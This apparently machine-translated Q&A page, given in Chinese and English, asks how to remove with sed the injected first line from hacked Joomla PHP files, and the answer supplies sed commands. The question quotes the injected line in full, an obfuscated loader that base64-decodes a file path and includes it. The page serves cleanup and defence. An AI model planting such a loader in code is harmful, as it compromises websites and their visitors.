用正则表达式删除sed的第一行 [英] Remove the first line with sed with a regular expression

问题描述

我想删除所有与下一个grep命令匹配的文件中的第一行：

  grep -Rl' < \？php / \ *<！-----。* / \？>'./ 
  

这些文件被黑了，我想删除这一行。
我尝试了几个带sed的命令，但没有结果，命令如下：
$ b $ $ p $ sed's / < \？php / \ *<！-----。* / \？> // g'./*


谢谢，最好的问候。

编辑。例如：

 <？php / *<！----- sSMiRuomIZgafwAFrWqzLk -----> * / $ SVjFIagfCmbDNLrO = BASE64_DECODE（ L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX =）; @include_once $ SVjFIagfCmbDNLrO; / *<！----- sSMiRuomIZgafwAFrWqzLk -----> * /？><？php 
 defined（'_ JEXEC'）or die（'Direct Access to this location is not allowed。'）; 
 
 / ** 
  

只有从<？php /*.... to * /？>

解决方案

  sed -i.ORIG'1 { / YOUR_REGEX_PATTERN / d; }'INPUTFILES * 
  

这只适用于第一行，如果它匹配你的模式，删除它（原地备份，原始文件备份为 .ORIG 扩展名）。

更新：如果您只想删除第一行的某一部分：

 
  sed -i.ORIG'1 {/ YOUR_REGEX_PATTERN / s / YOUR_REGEX_PATTERN //; }'INPUTFILES * 
  

您的情况可能是：

  sed -i.ORIG'1 {/<？php \ / \ *。* \ /？> / s_<？php / \ * 。*<？php_<？php_; }'INPUTFILES * 
  

但是，这只适用于某些情况。在编码的字符串部分中可能会出现<？php ...（可能会出现...）。而sed不支持非贪婪和/或前瞻，后视正则表达式......

I want to remove the first line in all files that have match with the next grep command:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

These files were hacked and I want to remove this line. I tried with several commands with "sed" but with no result, commands like this:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

Thanks, best regards.

Edit. Example:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

And only whant to remove from <?php /*.... to */?>

解决方案

What you want is:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

This operates only on the first line, and if it matches your pattern, deletes it (in place, and the original files are backed up with .ORIG extension).

Update:

If you only want to remove some part of the first line:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

In your case it might be:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

But that will work only in some cases... e.g. the <?php could occur in the encoded string part... (might occur...). And sed does not support non greedy and/or look-ahead, look-behind regexes...

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